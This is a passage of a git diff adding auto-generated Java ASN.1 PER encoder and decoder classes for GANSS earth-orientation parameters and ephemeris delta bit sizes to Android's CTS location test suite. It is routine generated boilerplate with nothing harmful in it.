+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_pmYType != null) {
+ return ImmutableList.of(TAG_pmYType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new pmYType from encoded stream.
+ */
+ public static pmYType fromPerUnaligned(byte[] encodedBytes) {
+ pmYType result = new pmYType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new pmYType from encoded stream.
+ */
+ public static pmYType fromPerAligned(byte[] encodedBytes) {
+ pmYType result = new pmYType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "pmYType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class pmYdotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_pmYdotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public pmYdotType() {
+ super();
+ setValueRange("-16384", "16383");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_pmYdotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_pmYdotType != null) {
+ return ImmutableList.of(TAG_pmYdotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new pmYdotType from encoded stream.
+ */
+ public static pmYdotType fromPerUnaligned(byte[] encodedBytes) {
+ pmYdotType result = new pmYdotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new pmYdotType from encoded stream.
+ */
+ public static pmYdotType fromPerAligned(byte[] encodedBytes) {
+ pmYdotType result = new pmYdotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "pmYdotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class deltaUT1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_deltaUT1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public deltaUT1Type() {
+ super();
+ setValueRange("-1073741824", "1073741823");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_deltaUT1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_deltaUT1Type != null) {
+ return ImmutableList.of(TAG_deltaUT1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new deltaUT1Type from encoded stream.
+ */
+ public static deltaUT1Type fromPerUnaligned(byte[] encodedBytes) {
+ deltaUT1Type result = new deltaUT1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new deltaUT1Type from encoded stream.
+ */
+ public static deltaUT1Type fromPerAligned(byte[] encodedBytes) {
+ deltaUT1Type result = new deltaUT1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "deltaUT1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class deltaUT1dotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_deltaUT1dotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public deltaUT1dotType() {
+ super();
+ setValueRange("-262144", "262143");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_deltaUT1dotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_deltaUT1dotType != null) {
+ return ImmutableList.of(TAG_deltaUT1dotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new deltaUT1dotType from encoded stream.
+ */
+ public static deltaUT1dotType fromPerUnaligned(byte[] encodedBytes) {
+ deltaUT1dotType result = new deltaUT1dotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new deltaUT1dotType from encoded stream.
+ */
+ public static deltaUT1dotType fromPerAligned(byte[] encodedBytes) {
+ deltaUT1dotType result = new deltaUT1dotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "deltaUT1dotType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSEarthOrientParam = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaBitSizes.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaBitSizes.java
new file mode 100755
index 0000000..39541ec
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaBitSizes.java
@@ -0,0 +1,2562 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSEphemerisDeltaBitSizes extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSEphemerisDeltaBitSizes
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSEphemerisDeltaBitSizes() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSEphemerisDeltaBitSizes;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSEphemerisDeltaBitSizes != null) {
+ return ImmutableList.of(TAG_GANSSEphemerisDeltaBitSizes);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSEphemerisDeltaBitSizes from encoded stream.
+ */
+ public static GANSSEphemerisDeltaBitSizes fromPerUnaligned(byte[] encodedBytes) {
+ GANSSEphemerisDeltaBitSizes result = new GANSSEphemerisDeltaBitSizes();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSEphemerisDeltaBitSizes from encoded stream.
+ */
+ public static GANSSEphemerisDeltaBitSizes fromPerAligned(byte[] encodedBytes) {
+ GANSSEphemerisDeltaBitSizes result = new GANSSEphemerisDeltaBitSizes();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_omegaType bitsize_delta_omega_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_omegaType getBitsize_delta_omega() {
+ return bitsize_delta_omega_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_omegaType
+ */
+ public void setBitsize_delta_omega(Asn1Object value) {
+ this.bitsize_delta_omega_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_omegaType) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_omegaType setBitsize_delta_omegaToNewInstance() {
+ bitsize_delta_omega_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_omegaType();
+ return bitsize_delta_omega_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_deltaNType bitsize_delta_deltaN_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_deltaNType getBitsize_delta_deltaN() {
+ return bitsize_delta_deltaN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_deltaNType
+ */
+ public void setBitsize_delta_deltaN(Asn1Object value) {
+ this.bitsize_delta_deltaN_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_deltaNType) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_deltaNType setBitsize_delta_deltaNToNewInstance() {
+ bitsize_delta_deltaN_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_deltaNType();
+ return bitsize_delta_deltaN_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_m0Type bitsize_delta_m0_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_m0Type getBitsize_delta_m0() {
+ return bitsize_delta_m0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_m0Type
+ */
+ public void setBitsize_delta_m0(Asn1Object value) {
+ this.bitsize_delta_m0_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_m0Type) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_m0Type setBitsize_delta_m0ToNewInstance() {
+ bitsize_delta_m0_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_m0Type();
+ return bitsize_delta_m0_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_omegadotType bitsize_delta_omegadot_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_omegadotType getBitsize_delta_omegadot() {
+ return bitsize_delta_omegadot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_omegadotType
+ */
+ public void setBitsize_delta_omegadot(Asn1Object value) {
+ this.bitsize_delta_omegadot_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_omegadotType) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_omegadotType setBitsize_delta_omegadotToNewInstance() {
+ bitsize_delta_omegadot_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_omegadotType();
+ return bitsize_delta_omegadot_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_eType bitsize_delta_e_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_eType getBitsize_delta_e() {
+ return bitsize_delta_e_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_eType
+ */
+ public void setBitsize_delta_e(Asn1Object value) {
+ this.bitsize_delta_e_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_eType) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_eType setBitsize_delta_eToNewInstance() {
+ bitsize_delta_e_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_eType();
+ return bitsize_delta_e_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_idotType bitsize_delta_idot_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_idotType getBitsize_delta_idot() {
+ return bitsize_delta_idot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_idotType
+ */
+ public void setBitsize_delta_idot(Asn1Object value) {
+ this.bitsize_delta_idot_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_idotType) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_idotType setBitsize_delta_idotToNewInstance() {
+ bitsize_delta_idot_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_idotType();
+ return bitsize_delta_idot_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType bitsize_delta_sqrtA_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType getBitsize_delta_sqrtA() {
+ return bitsize_delta_sqrtA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType
+ */
+ public void setBitsize_delta_sqrtA(Asn1Object value) {
+ this.bitsize_delta_sqrtA_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType setBitsize_delta_sqrtAToNewInstance() {
+ bitsize_delta_sqrtA_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_sqrtAType();
+ return bitsize_delta_sqrtA_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_i0Type bitsize_delta_i0_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_i0Type getBitsize_delta_i0() {
+ return bitsize_delta_i0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_i0Type
+ */
+ public void setBitsize_delta_i0(Asn1Object value) {
+ this.bitsize_delta_i0_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_i0Type) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_i0Type setBitsize_delta_i0ToNewInstance() {
+ bitsize_delta_i0_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_i0Type();
+ return bitsize_delta_i0_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_omega0Type bitsize_delta_omega0_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_omega0Type getBitsize_delta_omega0() {
+ return bitsize_delta_omega0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_omega0Type
+ */
+ public void setBitsize_delta_omega0(Asn1Object value) {
+ this.bitsize_delta_omega0_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_omega0Type) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_omega0Type setBitsize_delta_omega0ToNewInstance() {
+ bitsize_delta_omega0_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_omega0Type();
+ return bitsize_delta_omega0_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_crsType bitsize_delta_crs_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_crsType getBitsize_delta_crs() {
+ return bitsize_delta_crs_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_crsType
+ */
+ public void setBitsize_delta_crs(Asn1Object value) {
+ this.bitsize_delta_crs_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_crsType) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_crsType setBitsize_delta_crsToNewInstance() {
+ bitsize_delta_crs_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_crsType();
+ return bitsize_delta_crs_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_cisType bitsize_delta_cis_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_cisType getBitsize_delta_cis() {
+ return bitsize_delta_cis_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_cisType
+ */
+ public void setBitsize_delta_cis(Asn1Object value) {
+ this.bitsize_delta_cis_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_cisType) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_cisType setBitsize_delta_cisToNewInstance() {
+ bitsize_delta_cis_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_cisType();
+ return bitsize_delta_cis_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_cusType bitsize_delta_cus_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_cusType getBitsize_delta_cus() {
+ return bitsize_delta_cus_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_cusType
+ */
+ public void setBitsize_delta_cus(Asn1Object value) {
+ this.bitsize_delta_cus_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_cusType) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_cusType setBitsize_delta_cusToNewInstance() {
+ bitsize_delta_cus_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_cusType();
+ return bitsize_delta_cus_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_crcType bitsize_delta_crc_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_crcType getBitsize_delta_crc() {
+ return bitsize_delta_crc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_crcType
+ */
+ public void setBitsize_delta_crc(Asn1Object value) {
+ this.bitsize_delta_crc_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_crcType) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_crcType setBitsize_delta_crcToNewInstance() {
+ bitsize_delta_crc_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_crcType();
+ return bitsize_delta_crc_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_cicType bitsize_delta_cic_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_cicType getBitsize_delta_cic() {
+ return bitsize_delta_cic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_cicType
+ */
+ public void setBitsize_delta_cic(Asn1Object value) {
+ this.bitsize_delta_cic_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_cicType) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_cicType setBitsize_delta_cicToNewInstance() {
+ bitsize_delta_cic_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_cicType();
+ return bitsize_delta_cic_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_cucType bitsize_delta_cuc_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_cucType getBitsize_delta_cuc() {
+ return bitsize_delta_cuc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_cucType
+ */
+ public void setBitsize_delta_cuc(Asn1Object value) {
+ this.bitsize_delta_cuc_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_cucType) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_cucType setBitsize_delta_cucToNewInstance() {
+ bitsize_delta_cuc_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_cucType();
+ return bitsize_delta_cuc_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd1Type bitsize_delta_tgd1_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd1Type getBitsize_delta_tgd1() {
+ return bitsize_delta_tgd1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd1Type
+ */
+ public void setBitsize_delta_tgd1(Asn1Object value) {
+ this.bitsize_delta_tgd1_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd1Type) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd1Type setBitsize_delta_tgd1ToNewInstance() {
+ bitsize_delta_tgd1_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd1Type();
+ return bitsize_delta_tgd1_;
+ }
+
+ private GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd2Type bitsize_delta_tgd2_;
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd2Type getBitsize_delta_tgd2() {
+ return bitsize_delta_tgd2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd2Type
+ */
+ public void setBitsize_delta_tgd2(Asn1Object value) {
+ this.bitsize_delta_tgd2_ = (GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd2Type) value;
+ }
+ public GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd2Type setBitsize_delta_tgd2ToNewInstance() {
+ bitsize_delta_tgd2_ = new GANSSEphemerisDeltaBitSizes.bitsize_delta_tgd2Type();
+ return bitsize_delta_tgd2_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_omega() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_omega();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_omegaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_omegaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_omega : "
+ + getBitsize_delta_omega().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_deltaN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_deltaN();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_deltaNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_deltaNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_deltaN : "
+ + getBitsize_delta_deltaN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_m0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_m0();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_m0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_m0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_m0 : "
+ + getBitsize_delta_m0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_omegadot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_omegadot();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_omegadotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_omegadotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_omegadot : "
+ + getBitsize_delta_omegadot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_e() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_e();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_eToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_eType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bitsize_delta_e : "
+ + getBitsize_delta_e().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getBitsize_delta_idot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBitsize_delta_idot();
+ }
+
+ @Override public void setToNewInstance() {
+ setBitsize_delta_idotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaBitSizes.bitsize_delta_idotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
